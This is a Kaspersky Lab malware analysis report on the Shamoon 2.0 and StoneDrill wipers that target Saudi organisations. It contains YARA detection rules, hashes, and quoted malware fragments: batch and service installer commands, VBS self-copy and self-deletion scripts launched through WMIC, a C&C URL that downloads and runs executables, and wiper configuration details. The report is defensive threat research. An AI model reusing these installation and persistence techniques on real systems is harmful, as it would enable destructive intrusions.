KASPERSKY lab

FROM SHAMOON TO STONEDRILL

Wipers attacking Saudi organizations and beyond

Version 1.05

2017-03-07

GREAT

Beginning in November 2016, Kaspersky Lab observed a new wave of wiper attacks directed at multiple targets in the Middle East. The malware used in the new attacks was a variant of the infamous **Shamoon** worm that targeted Saudi Aramco and Rasgas back in 2012.

Dormant for four years, one of the most mysterious wipers in history has returned.

So far, we have observed three waves of attacks of the Shamoon 2.0 malware, activated on 17 November 2016, 29 November 2016 and 23 January 2017.

Also known as Disttrack, Shamoon is a highly destructive malware family that effectively wipes the victim machine. A group known as the *Cutting Sword of Justice* took credit for the Saudi Aramco attack by posting a Pastebin message on the day of the attack (back in 2012), and justified the attack as a measure against the Saudi monarchy.

The Shamoon 2.0 attacks observed since November 2016 have targeted organizations in various critical and economic sectors in Saudi Arabia. Just like the previous variant, the Shamoon 2.0 wiper aims for the mass destruction of systems inside targeted organizations.

The new attacks share many similarities with the 2012 wave, though featuring new tools and techniques. During the first stage, the attackers obtain administrator credentials for the victim's network. Next, they build a custom wiper (Shamoon 2.0) which leverages these credentials to spread widely inside the organization. Finally, on a predefined date, the wiper activates, rendering the victim's machines completely inoperable. It should be noted that the final stages of the attacks have their activity completely automated, without the need for communication with the command and control center.

While investigating the Shamoon 2.0 attacks, Kaspersky Lab also discovered a previously unknown wiper malware which appears to be targeting organizations in Saudi Arabia. We're calling this new wiper **StoneDrill**. StoneDrill has several "style" similarities to Shamoon, with multiple interesting factors and techniques to allow for the better evasion of detection. In addition to suspected Saudi targets, one victim of StoneDrill was observed on the Kaspersky Security Network (KSN) in Europe. This makes us believe the threat actor behind StoneDrill is expanding its wiping operations from the Middle East to Europe.

To summarize some of the characteristics of the new wiper attacks, for both Shamoon and StoneDrill:

- Shamoon 2.0 includes a fully functional ransomware module, in addition to its common wiping functionality.
- Shamoon 2.0 has both 32-bit and 64-bit components.
- The Shamoon samples we analyzed in January 2017 do not implement any command and control (C&C) communication; previous ones included a basic C&C functionality that referenced local servers in the victim's network.
- StoneDrill makes heavy use of evasion techniques to avoid sandbox execution.
- While Shamoon embeds Arabic-Yemen resource language sections, StoneDrill embeds mostly Persian resource language sections. Of course, we do not exclude the possibility of false flags.
- StoneDrill does not use drivers during deployment (unlike Shamoon) but relies on memory injection of the wiping module into the victim's preferred browser.

Contact: intelreports@kaspersky.com

- Several similarities exist between Shamoon and StoneDrill.
- Multiple similarities were found between StoneDrill and previously analysed NewsBeef attacks.

What is new in this report?

This report provides new insights into the Shamoon 2.0 and StoneDrill attacks, including:

1. The discovery techniques and strategies we used for Shamoon and StoneDrill.
2. Details on the ransomware functionality found in Shamoon 2.0. This functionality is currently inactive but could be used in future attacks.
3. Details on the newly found StoneDrill functions, including its destructive capabilities (even with limited user privileges).
4. Details on the similarities between malware styles and malware components' source code found in Shamoon, StoneDrill and NewsBeef.

Contact: intelreports@kaspersky.com

1. From Shamoon to StoneDrill: the discovery

1.1. Shamoon: It's all about the "resources"

Few people ever expected the return of Shamoon after four years of silence. This made the news from the Middle East on 17 November 2016 quite surprising, and sent multiple shockwaves through the industry. After the second wave of attacks, which took place on 29 November 2016, it became quite clear that Shamoon 2.0 was no longer an isolated incident, but part of a new series of attacks and we should expect more waves coming in. In order to make sure that Kaspersky Lab customers were protected, we started to develop specific detection strategies and hunt for possible new variants.

To create the new detections, we used multiple ideas:

- The Shamoon wipers have their additional payloads stored as encrypted resources.
- Just like in 2012, the early Shamoon 2.0 samples used resources with three very specific names - "PKCS7", "PKCS12" and "X509". Because of their uniqueness it was relatively easy to find and detect them just by the resource names and their high entropy. Unfortunately, newer versions had random resource names like "ICO", "LANG" and "MENU", so the ability to easily find new samples was lost.

However, all programmers, especially malware writers, have their own habits, and the authors of Shamoon are no exception:

- Since the Shamoon 1.0 story, from 2012 (6dd571b84470ad9caad30a6a6acf491e) until 2016 (2cd0a5f1e9bcce6807e57ec8477d222a) many samples had one additional encrypted resource with a specific, although non-unique name "101".

This finding got us thinking that the Shamoon attackers can re-use this pattern and we've investigated ways of using this to hunt for new, unknown malware generations from their side.

As researchers, we tested a lot of different approaches to find similar malicious samples based on this artefact, and one of them worked unexpectedly. Here's the logic we used to create the detection:

1. We assumed that for the next waves of attack the authors would continue to recompile the Shamoon 2.0 version from 2016, while trying to avoid AV detection, so we focused mostly on the newest Shamoon versions.
2. We assumed that the wiper would again enumerate all files inside folders, so it would still call Windows API functions FindFirstFile and FindNextFile.
3. Because it uses encrypted resources, we assumed that it would find and load them with the Windows API functions FindResource and LoadResource.
4. Inside all known versions of Shamoon 2.0, the resource "101" was found, with the following properties:
    - Level of entropy > 7.8 - that means the data inside is encrypted or compressed.

Contact: intelreports@kaspersky.com

- Size about 30 KB - we've decided to set the minimum limit at 20 KB.
- Language = neutral (not set); all other resources had the languages "Arabic (Yemen)" or "English United States".
- Does not contain an unencrypted PE executable file inside.

After initial testing, we decided to add more search criteria to limit the number of possible false positive detections:

- Shamoon samples had no digital signature, so the sample would be unsigned.
- All known Shamoon samples with resource "101" had a maximum file size of 370 KB, so it's reasonable to limit the file size to twice that number - 700 KB.
- The number of resources inside the sample should not be too high - less than 15.

Our favorite malware hunting tool, Yara, provides a rule-bused approach to create descriptions of malware families based on textual or binary patterns.

Here's the detection rule we wrote using all the above conditions:

```
import "pe"
import "math"

rule susp_file_enumerator_with_encrypted_resource_101 {
meta:

        copyright = "Kaspersky Lab"
        description = "Generic detection for samples that enumerate files with encrypted resource
called 101"
        hash = "2cd0a5f1e9bcce6807e57ec8477d222a"
        hash = "c843046e54b755ec63ccb09d0a689674"
        version = "1.4"

strings:

        $mz = "This program cannot be run in DOS mode."

        $a1 = "FindFirstFile" ascii wide nocase
        $a2 = "FindNextFile" ascii wide nocase
        $a3 = "FindResource" ascii wide nocase
        $a4 = "LoadResource" ascii wide nocase

condition:

        uint16(0) == 0x5A4D and
        all of them and
        filesize < 700000 and
        pe.number_of_sections > 4 and
        pe.number_of_signatures == 0 and
        pe.number_of_resources > 1 and pe.number_of_resources < 15 and
        for any i in (0..pe.number_of_resources - 1):
        (       (math.entropy(pe.resources[i].offset, pe.resources[i].length) > 7.8) and
                pe.resources[i].id == 101 and
                pe.resources[i].length > 20000 and
                pe.resources[i].language == 0 and
```


Contact: intelreports@kaspersky.com

```
                not ($mz in (pe.resources[i].offset..pe.resources[i].offset + pe.resources[i].length))
        )
}
```

While running the above Yara rule on Kaspersky Lab's samples selection, we found an interesting, fresh sample. After a quick analysis, we realized it was yet another wiper. However, it was not Shamoon, but something different. We've decided to call it StoneDrill.

1.2. From StoneDrill to NewsBeef

Having identified the StoneDrill sample through the Yara technique above, we started looking for other possibly related samples.

One Yara technique that has proved useful in the past for finding new malware variants is the development of Yara rules for decrypted malware components. During attacks, malware components can be changed to fit the attackers' requirements, so hunting for decrypted malware code might help in finding new malware variants or even older samples.

With StoneDrill, we developed several Yara rules for the decrypted payloads. Here's one of our Yara rules for a decrypted StoneDrill module:

```
rule StoneDrill_main_sub {
meta:
    author          = "Kaspersky Lab"
    description   = "Rule to detect StoneDrill (decrypted) samples"
    hash            = "d01781f1246fd1b64e09170bd6600fe1"
    hash            = "ac3c25534c076623192b9381f926ba0d"
    version         = "1.0"

strings:

    $code = {B8 08 00 FE 7F FF 30 8F 44 24 ?? 68 B4 0F 00 00 FF 15 ?? ?? ?? 00 B8 08 00 FE 7F FF
30 8F 44 24 ?? 8B ?? 24 [1 - 4] 2B ?? 24 [6] F7 ?1 [5 - 12] 00}

condition:

    uint16(0) == 0x5A4D and
    $code  and
    filesize < 5000000
}
```

Interestingly, this rule allowed us to find a new category of samples, which we previously connected with a threat actor named NewsBeef. We wrote about NewsBeef roughly one year ago, in relation to another set of attacks against oil and energy companies from the Middle East.

Contact: intelreports@kaspersky.com

Further analysis indicated the malware samples from StoneDrill and NewsBeef appear to be connected together through numerous internal similarities.

*The use of simple logic in conjunction with a knowledge of Yara can help attain a state-of-the-art outcome in malware hunting activity. If you would like to learn more, you can join us for the Yara training "**Hunt APTs with Yara like a GReAT Ninja**" and the advanced "**Malware Reverse Engineering course**" on April 1-2, 2017 in St. Maarten.*

Several private intelligence reports on Shamoon, StoneDrill and NewsBeef are available to subscribers of Kaspersky Lab's Private Intelligence Reports. For more information please contact: intelreports@kaspersky.com

2. Technical details - Shamoon 2.0 - language usage and possible Yemeni links

Several good technical articles on Shamoon 2.0 have been published by some of our colleagues, including Palo Alto, IBM X-Force, Symantec and others.

Throughout this blog we describe some of the technical details of the new Shamoon 2.0 attacks and what are the most important things that make them stand out. For the analysis we used the earliest set of samples, with a hardcoded attack date of 17 November 2016. However, we've also included details from the newer samples, such as hardcoded credentials.

During deployment in the victim's environment, the main Shamoon 2.0 wiper module is installed through a Windows Batch file with the following content:

```
@echo off
set u100=ntertmgr32.exe
set u200=service
set u800=%~dp0
copy /Y "%u800%%u100%" "%systemroot%\system32\%u100%" start /b %systemroot%\system32\%u100%
%u200%
```

Interestingly, the sample resources appear to have a language ID of "Arabic (Yemen)", suggesting the attackers might be from Yemen. Of course, we should not disregard the possibility that the resource language could be a false flag planted there by the attackers.

type	name	signature	standard	size (515816 ...	md5	entropy	language (1)
Bitmap	PKCS12	Bitmap	x	329656	43983EA63E508051678725C25072627A	7.944	ar-YE
Bitmap	PKCS7	Bitmap	x	185743	D7211F112191F08C92CD836D47578642	7.925	ar-YE
Bitmap	X509	Bitmap	x	417	FB8D75B843FC9298D0E1A341F60D60E1	6.035	ar-YE

2.1. 32-bit Shamoon dropper/worm (ntssrvr32.exe)

SHA256	394a7ebad5dfc13d6c75945a61063470dc3b68f7a207613b79ef000e1990909b
MD5	5446f46d89124462ae7aca4fce420423
Compiled	2009.02.15 12:31:44 (GMT), VC 2010
Type	I386 Console EXE
Size	1 349 632 bytes

This executable is a worm designed to infect computers connected to a Windows domain. To achieve this, it relies on a list of hardcoded, previously stolen username/password pairs belonging to administrators of the targeted domain. All the strings in the malware are obfuscated

Contact: intelreports@kaspersky.com

with simple one byte ADD operations and are decrypted upon execution. All the dropped files exhibit file times altered to match that of the system's **kernel32.dll**. The module only works if it is run with exactly one command line parameter, regardless of the parameter. Otherwise, it simply exits (likely a measure to avoid accidental execution).

If the victim host's system "**PROCESSOR_ARCHITECTURE**" environment variable is "**AMD64**" or "**amd64**", the module installs its 64-bit variant. The variant is contained within a resource named "X509". The resource is de-XORed and dropped onto the system under: **<**%WindowsDir%**\system32\ntssrvr64.exe>**.

It is then installed as a service via the command:

```
"cmd.exe /c "ping -n 30 127.0.0.1 >nul && sc config NtsSrv binpath=
"C:\WINDOWS\system32\ntssrvr64.exe LocalService" && ping -n 10 127.0.0.1 >nul && sc start NtsSrv"
```

2.1.1. Installation as a Service

If the malware is running on a 32-bit system, this module installs itself as a service named "NtsSrv":

Name	Display Name	Description
NtsSrv	Microsoft Network Realtime Inspection Service	Helps guard against time change attempts targeting known and newly discovered vulnerabilities in network time protocols

he service is set as dependent on the "RpcSs" system service. The properties of the system service "LanmanWorkstation" are changed so that it depends on the newly created "NtsSrv" service to allow it to start after the malware.

2.1.2. Worm Functionality

Once this module runs (as a service), the worm-spreading functionality is started, targeting every network host within the IPv4 address range, with the same first three bytes of the victim's IP and the last byte in the range from 0 to 255, thus operating inside subnet class C (a.b.c.0/24).

Here's how it works:

1. The worm connects to a remote machine's registry and disables Remote UAC by setting the **LocalAccountTokenFilterPolicy** registry key value to 1 in **HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system.**
2. If the RemoteRegistry system service is disabled and doesn't run on the target system, the worm reconfigures this service to be auto-started and then starts it immediately. If the connection to a remote registry is unsuccessful, the worm repeats the connection attempt with a hardcoded set of stolen domain administrator credentials. The worm then

Contact: intelreports@kaspersky.com

searches for remote "**\windows\system32\csrss.exe**" files by prepending this path with the victim machine's IP as well as system shares: "**ADMIN$**", "**C$**", "**D$**", "**E$**".

3. Once a remote system32 folder is found, the worm copies itself into this folder under the name "**ntssrvr32.exe**". It schedules a remote job to run "**ntssrvr32.exe LocalService**" after 90 seconds.
4. If the remote scheduler is inaccessible, the worm tries to set up NtsSrv and runs the service on the remote machine with the same parameters as it used for self-installation. Attempts with stolen credentials are also performed.
5. An alternative but similar infection method is coded into the worm, where each infection is performed in a separate thread without relying on the scheduler; but it is not used at this time.

2.1.3. Command and Control (C&C) Module

After replication, the malware runs a command-and-control communication module. This module is contained within a resource named "**Pkcs7**". It is de-XORed and dropped as **<**%WindowsDir%**\system32\netinit.exe>**. Using the hardcoded credentials, it creates a Windows Task Scheduler job that executes netinit.exe 90 seconds after creation. It waits 95 seconds and then deletes the scheduled job.

2.1.4. Wiper and Encryptor Module

Finally, the malware drops the wiper/encryptor module. This module first checks if it's time to run the main payload. The activation period can be set in two ways:

1. It checks if the system time is not earlier than the time specified in the following file: **<%windir%\inf\usbvideo324.pnf>**
2. If the file doesn't exist, it checks that the system time is not earlier than the hardcoded date: **<20:45, 17 Nov 2016>**

At the specified time, the malware drops two files:

The first file, **<c:\windows\temp\key8854321.pub>** is unused in this attack and contains a public encryption key. This is an indicator that the attackers might be using **Shamoon as a ransomware tool** in upcoming waves.

```
"-----BEGINPUBLICKEY-----
MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAusZItknNNeV+xjPzIZLyB5m6gaNREC6I3CZQ7F1vDU
CaGki83s6JVDo2NGN70mhx4q5NJrgXDzD7McpxDoJsDkKwr5mm3yEs9vmZwHcEWcvU6QbJguFgPJk6zoatVq0
WsfIkN50ywQMVq2zmiJeI2UoalPJzCWbAYG0BShXjnlcsfV8GcPW+fNRCSGKVue3RE6cV5HlAjSD8VSk4KERPu
Wfvbk/pP0qDE60Uc7K3Bl7uxbHVB2g8unuj8B9d81TKT0hForie8V2N4FT0bdAHUHU6LT/XtAdLCp9/cTUf8zk1MC
oxXj6CSg9xKgGgnJazC/u3R0nm/pPriF/ZkwrVhJtDd/1nf4JC1sDmc3mgv0hI+7hthf+fZkv75doHg67Gg6JOZQIMytQ
eF8ylnUgC1ZyrAmaxN0OV69zhktzZISdmmkbtyZSHEZzIdC9PF/MJzCK5ylkEI2jQpAabgv34o2o+ZMJLSDZbNrXy9
0LUy8GjtzJYmv02MVLjy7CSggIIbulSgMP4QC/i1fTIPhlSIMyCKnGIKdKY31KFQnoOzI8kudeted8eF/ubpFcna0TDc
Ek+Dt8s4pN4/DsGQoncWg9HMyC8Q/MWIE/JuOCisovJ0PYq2aKetDNRMm7THcXalXKD9RpczObRWKGKzMJD
onmBm2AETME74MRPmC/FWgsCAwEAAQ==

-----ENDPUBLICKEY-----"
```


Contact: intelreports@kaspersky.com

The second file is dropped from a resource named "**PKCS12**". It is de-XORed and dropped into the %system% directory with a name randomly selected from the following list:

caclsrv.exe	**dvdquery.exe**	**msinit.exe**	**sigver.exe**	**wcscript.exe**
certutl.exe	**event.exe**	**ntfrsutil.exe**	**routeman.exe**	**ntnw.exe**
clean.exe	**findfile.exe**	**ntdsutl.exe**	**rrasrv.exe**	**netx.exe**
ctrl.exe	**gpget.exe**	**power.exe**	**sacses.exe**	**fsutl.exe**
dfrag.exe	**ipsecure.exe**	**rdsadmin.exe**	**sfmsc.exe**	**extract.exe**
dnslookup.exe	**iissrv.exe**	**regsys.exe**	**smbinit.exe**	

The dropped payload is then scheduled to run in the same way as the C&C communication module. We describe it in detail below.

2.2. 64-bit Shamoon Dropper (ntssrvr64.exe)

SHA256	47bb36cd2832a18b5ae951cf5a7d44fba6d8f5dca0a372392d40f51d1fe1ac34
MD5	8fbe990c2d493f58a2afa2b746e49c86
Compiled	2009.02.15 12:32:19 (GMT), VC 2010
Type	AMD64 Console EXE
Size	717 312 bytes

This dropper has the same functionality as the 32-bit variant. This version is contained within a resource named "**X509**". The resource is de-XORed and dropped onto the system under: **<%WindowsDir%\system32\ntssrvr64.exe>**.

2.2.1. C&C Communication Module (netinit.exe)

SHA256	61c1c8fc8b268127751ac565ed4abd6bdab8d2d0f2ff6074291b2d54b0228842
MD5	5bac4381c00044d7f4e4cbfd368ba03b
Compiled	2009.02.15 12:29:20 (GMT), VC 2010
Type	I386 Console EXE

Contact: intelreports@kaspersky.com

Size	159 744 bytes

SHA256	772ceedbc2cacf7b16ae967de310350e42aa47e5cef19f4423220d41501d86a5
MD5	ac4d91e919a3ef210a59acab0dbb9ab5
Compiled	2009.02.15 12:29:41 (GMT), VC 2010
Type	AMD64 Console EXE
Size	183 808 bytes

The strings in the C&C module are obfuscated by simple ADD operations and are decrypted upon execution. This module periodically connects to a C&C with the following URL:

hxxp://server/category/page.php?shinu=w74K9/xQp1VjJfwwadq4HCl7VheuQXk49YnNkb XR+0ghrH YIRFE51FQskZya+jlPqo3VlOEpfvvgxvO26pZ3oA==

The strange "**server**" in the URL string suggests multiple possibilities:

1. It is used by mistake.
2. It may suggest a placeholder value that wasn't set for the purposes of this attack.
3. A server with this name might be installed by the attackers somewhere inside the local network.
4. The local network may rely on a now poisoned DNS server.

The string also contains the word "**shinu=**", which is quite interesting. This is possibly a transliteration of the Gulf Arabic slang word **'شنو'** for 'what?'. This particular slang is used in several countries, notably Iraq, but also sometimes in Kuwait and Bahrain. The "shinu" parameter string contains the following encoded information about the victim system:

- Host IP and MAC addresses
- Windows version information
- Windows input locale IDs (keyboard layouts)
- Number of connection attempts, or content of the **<%WINDIR%\inf\netimm173.pnf>** file if the file exists. The **<netimm173.pnf>** file contains information about changes made by the wiper payload module.

If the direct connection fails, this module tries to connect using a hardcoded proxy server of "1.1.1.1:8080". This supports the assumption that the malware deployed in this case does not include a working C&C and the operators used a raw, unconfigured C&C module.

Data received from the C&C server is handled in two possible ways:

1. An executable file is downloaded as **<%TEMP%\Temp\filer%rndDigits%.exe>** and executed immediately thereafter.

Contact: intelreports@kaspersky.com

2. A file is dropped in **<%WINDIR%\inf\usbvideo324.pnf>** that contains the wiper payload's activation time. This effectively allows the attackers to configure the wiper time bomb.

2.2.2. Disk Wiper/Encryptor Module

SHA256	128fa5815c6fee68463b18051c1a1ccdf28c599ce321691686b1efa4838a2acd
MD5	2cd0a5f1e9bcce6807e57ec8477d222a
Compiled	2009.02.15 12:30:19 (GMT), VC 2010
Type	I386 Console EXE
Size	282 112 bytes

SHA256	c7fc1f9c2bed748b50a599ee2fa609eb7c9ddaeb9cd16633ba0d10cf66891d8a
MD5	c843046e54b755ec63ccb09d0a689674
Compiled	2009.02.15 12:30:41 (GMT), VC 2010
Type	AMD64 Console EXE
Size	327 680 bytes

Despite the widespread coverage of the resurgence of the Shamoon wiper, few have noted the new ransomware functionality. The wiper module of Shamoon 2.0 has been designed to run as either a wiper or an encryptor (ransomware).

1. The module is configured to wipe the disk using the "Death of Alan Kurdi" photo. The picture depicts a three-year-old Syrian refugee who drowned as his family attempted to reach Europe and travel on to Canada. The module can also be configured to wipe the disk using random data.
2. In the "encryption/ransomware" mode, a weak pseudo-random RC4 key is generated, which is further encrypted by the RSA public key and stored directly on the hard drive (at **<\Device\Harddisk0\Partition0>)** starting at offset 0x201, right after the master boot record.
3. Once the module is extracted, it drops a legitimate driver named **<DRDISK.SYS>** to the disk and starts it. This driver is used for low-level disk operations and is well known from previous Shamoon attacks. Before accessing this driver, the system date is changed to a random day between the 1st and 20th of August, 2012 to fool the driver's license checks and evaluation period.

4. The payload employs the file **<%WINDIR%\inf\netimm173.pnf>** to keep track of the operations performed. The content of this file is sent to the C&C server by the communication module.
5. The strings in this module are also obfuscated by simple ADD operations and decrypted at start.

2.2.3. Payload Configuration

There are two 25-byte length configuration strings in the wiper payload:

- "**SPPPPPPPPPMPPHHHHHHHHHHHBO**"
- "**NNNNNNNNNNWNNNNNNNNNNNWWW**"

Letters in the first string specify a type of operation to be performed, with the available operations explained below. The second string designates how these operations should be performed: the letter '**N**' means that the operation will be executed synchronously in separate threads, the letter '**W**' means the operation will wait until a previous step is completed.

Here's an explanation of the configuration string above:

Letter	Operation
S	The first operation, marked by the letter '**S**' wipes (or encrypts) the content of the Shamoon 2.0 components (netinit.exe, ntssrvr32.exe, and wiper module itself). Using the low-level disk access driver makes it possible to wipe the body of a running executable.
P	The next 9 '**P**' letters indicate wiping (or encrypting) of the files placed inside the traditional user folders: desktop, download, document, desktop, download, document, picture, video, and music.
M	The '**M**' wipes (or encrypts) the NTFS MFT data on all accessible drives mapped from A: to Z:, except the system drive.
P	The next two '**P**' letters wipe (or encrypt) files inside the following folders: <C:\Windows\System32\Drivers> and <C:\Windows\System32\Config\systemprofile>
H	The 10 '**H**' letters wipe (or encrypt) some of the partitions from 9 to 0 on hard disks 9-0 (SystemBoot and FirmwareBootDevice partitions and partition 0 on the system drive are skipped in this step)
B	The '**B**' letter wipes (or encrypts) part of the partition designated as FirmwareBootDevice
O	The final '**O**' wipes (or encrypts) the Master File Table on the system drive, the first sector of \Device\Harddisk0\Partition0, and the last part of the SystemBootDevice partition.

Two minutes after all tasks are completed, the system is rebooted with the following command: "**shutdown -r -f -t 2**".

Contact: intelreports@kaspersky.com

2.2.4. Low-Level Disk Access Driver (DRDISK.SYS)

SHA256	4744df6ac02ff0a3f9ad0bf47b15854bbebb73c936dd02f7c79293a2828406f6
MD5	1493d342e7a36553c56b2adea150949e
Compiled	2011.12.28 16:51:24 (GMT), VC 2005
Type	I386 Native
Size	27 280 bytes

SHA256	eaee62a8238189e8607b24c463a84c83c2331a43b034484972e4b302bd3634d9
MD5	42f883d029b47f9d490a427091da3f5d
Compiled	2011.12.28 16:51:29 (GMT), VC 2005
Type	AMD64 Native
Size	31 998 bytes

These signed legitimate drivers form part of the EldoS RawDisk product. This product is designed to provide direct access to disks and protected files from user-mode applications. Sadly, this functionality has been adopted and abused by multiple threat actors to develop wiper malware, as in the case of the original Shamoon or the Lazarus Destover malware used in the infamous Sony Pictures Entertainment attack of 2014. In order to bypass the EldoS RawDisk drivers' evaluation period license checks, the Shamoon 2.0 malware changes the system date to a random day between the 1st and 20th of August, 2012.

2.3. From Shamoon 2.0 to StoneDrill 1.0

StoneDrill has some style similarities to the previously discovered Shamoon samples. Particularly interesting is the heavy use of anti-emulation techniques in the malware, which prevents the automated analysis by emulators or sandboxes.

One of the most interesting characteristics is the presence of the Persian language in multiple resource sections.

type	name	signature	standard	size (77573 bytes)	md5	entropy	language (3)
Dialog	1040	Dialog	x	100	8C19DDA...	2.432	Persian
Icon	1	Icon	x	3752	BA31E335...	5.223	Persian
Icon	2	Icon	x	2216	382130EB...	5.784	Persian
Icon	3	Icon	x	1384	8CF035F2...	2.222	Persian
Icon Group	103	Icon Group	x	48	871EA23B...	2.549	Persian
Manifest	1	Manifest	x	392	B8E76DD...	4.896	English United States
AFX_DIALOG_...	1040	unknown	-	2	C4103F12...	0.000	Persian
103	101	unknown	-	69632	45B76392...	7.993	neutral
104	102	unknown	-	19	20E60758...	1.889	neutral
111	110	unknown	-	28	D19993EA...	0.592	Persian

Samples of the StoneDrill malware were uploaded multiple times to multiscanner systems from Saudi Arabia between 27 and 30 November 2016. One StoneDrill victim was also observed in the Kaspersky Security Network (KSN) in Europe.

2.4. The StoneDrill wiper

SHA256	62aabce7a5741a9270cddac49cd1d715305c1d0505e620bbeaec6ff9b6fd0260
MD5	0ccc9ec82f1d44c243329014b82d3125
Compiled	1999.02.08 06:15:47 (GMT), VC 2015
Type	I386 GUI EXE
Size	195072 bytes

The malware PE file timestamp is fake; however, the authors forgot to alter a timestamp inside the debug directory. The real timestamp from the debug directory points to: 2016.11.14 21:16:45

Contact: intelreports@kaspersky.com

1. The module highlighted above starts from a heavy anti-emulation function that contains numerous WinAPI calls with invalid parameters. The goal is to break through the detection of antivirus emulators and heuristic detection.
2. The second anti-emulation technique is run before the payload execution: this module creates a hidden dialog window, then finds and programmatically clicks the "OK" button on that dialog. After that, another series of incorrect WinAPI calls follow.
3. The malware then finds the file path of the default Internet browser app by looking into the following registry keys:
    a. **SOFTWARE\Microsoft\Windows\Shell\Associations\UrlAssociations\http\UserChoice**
    b. **HKCR***%ProgId_val%***\shell\open\command**
4. The malware then checks to ensure the browser is not **LaunchWinApp.exe** or is compiled for the 64-bit architecture, in which case the path of "*%PROGRAM_FILESX86%***\Internet Explorer\iexplore.exe**" is used instead.
5. The default browser is then started and the wiper module is injected into the running browser memory.
6. After the successful start of the wiper module, the following script is dropped and executed: "*%temp%***\C-Dlt-C-Org-T.vbs"**
7. Another temporary file is dropped "%temp%**C-Dlt-C-Trsh-T.tmp**" which contains the name of the Injector module; this file is deleted after execution is completed.

```
WScript.Sleep(10 * 1000)
On Error Resume Next
Set WshShell = CreateObject("Scripting.FileSystemObject")
While WshShell.FileExists("%selfname%")
WshShell.DeleteFile "%selfname%"
Wend
WScript.Sleep(10 * 1000)
WshShell.DeleteFile "%temp%\C-Dlt-C-Org-T.vbs"
Set WshShell = Nothing
```

***%temp%*\C-Dlt-C-Org-T.vbs File contents**

2.4.1. The StoneDrill Disk Wiper Module

SHA256	bf79622491dc5d572b4cfb7feced055120138df94ffd2b48ca629bb0a77514cc
MD5	697c515a46484be4f9597cb4f39b2959
Compiled	2016.11.14 21:16:40 (GMT), VC 2015
Type	I386 GUI EXE
Size	130 560 bytes

Unlike Shamoon, the StoneDrill disk wiper module is not written onto disk but instead is injected directly into the user's preferred browser process memory. This module inherits the second anti-

Contact: intelreports@kaspersky.com

emulation trick only (clicking the button on the hidden dialog window); it is also obfuscated with the same alphabet-based string encryption. If the browser process privileges do not permit the raw disk wiping, only the user-accessible files are deleted.

Depending on the configuration, this module wipes with random data one of following possible targets:

- All accessible physical drives by using the device path "**\\.\PhysicalDrive**"
- All accessible logical drives by using device path "**\\.\X:**"
- Recursively wipes and deletes files in all folders except "**Windows**" on all accessible logical drives
- Places a special emphasis on wiping files named "**asdhgasdasdwqe%digits%**" in the root folder of the disk.

Just like Shamoon, after the wipe process is completed, the system is rebooted.

2.5. The StoneDrill backdoor

According to the PE timestamps from StoneDrill sample two and sample one (2016.10.19 and 2016.11.14 respectively), this malware file was compiled a month before the previously described StoneDrill sample. However, internally this tool wrapper (injector) looks like a more modern evolution of the previously discussed wiper wrapper.

The sample is generally of low quality, with many unused code blocks, unreliable anti-emulation and few non critical bugs. In some cases functions are executed but the results are not used:

- Is the current user a domain administrator?
- Is the antivirus process currently running?
- Is the current process running in a virtual environment such as VMware or VirtualBox?

2.6. The StoneDrill Installer/Injector module

SHA256	69530d78c86031ce32583c6800f5ffc629acacb18aac4c8bb5b0e915fc4cc4db
MD5	ac3c25534c076623192b9381f926ba0d
Compiled	2016.10.19 14:26:01 (GMT), VC 2015
Type	I386 GUI EXE
Size	227840 bytes

2.6.1. First step: anti-emulation tricks

This module is very similar to the above discussed injector module, utilizing the same set of anti-emulation tricks, injection into the user's preferred browser and VBS scripts. A distinction in

Contact: intelreports@kaspersky.com

this sample is the wide utilization of the WMI command-line (WMIC) utility to run tasks such as running the dropped VBS script or making registry modifications.

Strings in this module are encrypted in two ways:

- Alphabet replacement
- SSE XOR 0x5235

2.6.2. Second step: name construction and installation

This module checks if it is already running from the "%COMMON_APPDATA%**Chrome"** folder. In cases where the malware is started from a different folder, the installation procedure is started.

During installation, a name is constructed through concatenation of three randomly selected strings from the below three sets – for example PowerNetworkProxy, RAMFirewallTransfer, LocationAgentFramework):

Set1	Intel, AMD, Microsoft, Windows, Java, Adobe, Cisco, SunGard, Query, Location, Power, NFC, DotNet, MFC, WMI, SQL, Office, Bitlocker, Map, Fingerprint, Packet, Registery, RAM, CPU, ROM, Memory, Monitor, CDROM, Run-time, Task, Ethernet, Application, Lockscreen, Cloud, Browser, Cash, Desktop, Display
Set2	File, System, Service, Device, Software, Hardware, VM, Network, Performance, Graphic, Engine, Agent, Data, Wizard, Server, Media, History, Storage, Core, boot, Gaming, Firewall
Set3	Manager, Arranger, Controller, Host, Help, Diagnostics, LogOn, Plug, Proxy, Events, Transfer, Policy, Recovery, Details, Provider, Adapter, CleanUp, Encryption, Extention, APP, Client, Menu, Stub, Execute, Luncher, Framework, Tester, Model, Backup, API

The VBS script "%TEMP%**C-PDC-C-Cpy-T.vbs**" is then dropped in **%TEMP%**

```
On Error Resume Next
Set WshShell = CreateObject("Scripting.FileSystemObject")
WshShell.CopyFile "%SELF_NAME%" , "%COMMON_APPDATA%\Chrome\%SELECTED_NAME%.exe"
Set WshShell = Nothing
```

C-PDC-C-Cpy-T.vbs body template

The script is executed using the following command to do self-copy into the "%COMMON_APPDATA%**Chrome"** folder:

```
cmd /c WMIC Process Call Create "C:\Windows\System32\Wscript.exe //NOLOGO %TEMP%\C-PDC-C-Cpy-T.vbs"
```

Another VBS script named "**C-PDI-C-Cpy-T.vbs**" is dropped into %TEMP% folder and executed in the same method (via WMIC used to make a second malware copy with pathname) "**C:\ProgramData\InternetExplorer\%SELECTED_NAME%Stp.exe**"

Contact: intelreports@kaspersky.com

```
On Error Resume Next
Set WshShell = CreateObject("Scripting.FileSystemObject")
WshShell.CopyFile "%COMMON_APPDATA%\Chrome\%SELECTED_NAME%.exe" ,
"C:\ProgramData\InternetExplorer\%SELECTED_NAME%Stp.exe"
```

C-PDI-C-Cpy-T.vbs body template

Pathnames of these two VBS files as well as the initial malware pathname are written into %TEMP%**\C-DIt-C-Trsh-T.tmp** file.

At the end of the installation procedure the copy of malware (found in "%COMMON_APPDATA%**Chrome**%SELECTED_NAME%**.exe**") is executed (via "**cmd /c wmic process call create**") and the initial process terminates itself.

2.6.3. Third step

When the malware is started from within the "%COMMON_APPDATA%**Chrome**" folder, the "**FileInfo.txt**" file is created in the same folder and contains the pathname of the first copy of malware ("%COMMON_APPDATA%**Chrome**%SELECTED_NAME%**.exe**")

